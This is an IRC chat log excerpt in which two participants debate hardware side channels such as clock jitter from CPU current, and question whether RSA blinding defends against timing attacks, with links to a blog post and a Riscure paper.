1650323;1493594861;asciilifeform;and so conceivably side channel remains ( not only current per se, but how does cpu current consumption affect clock jitter? betcha it does. and afaik 0 public discussion of this, exists. )
1650324;1493594887;mircea_popescu;can't not, can it now.
1650325;1493595025;asciilifeform;btw i'm still waiting to meet an explanation re how 'blinding' (e.g., koch's) supposed countermeasure to timing attack, is supposed to help.
1650326;1493595067;asciilifeform;enemy can just as readily observe your 'blind' and 'deblind' exponentiations, as your original unblinded one...
1650327;1493595091;asciilifeform;and now you've given him 3x the 'broadcast', neh
1650328;1493595096;mircea_popescu;to quote "the high standard or mathematical discussion" folk, http://trilema.com/2017/how-i-found-some-area-of-expertise-in-mathematical-cryptography-one-expects-to-find-here-and-there-plus-divers-spots-missed-while-shaving/#selection-705.0-666.26
1650329;1493595170;asciilifeform;lol
1650330;1493595183;mircea_popescu;aha.
1650331;1493596269;asciilifeform;https://www.riscure.com/archive/rsacc_ctrsa_final.pdf << re earlier ( unfortunately no demunged version available )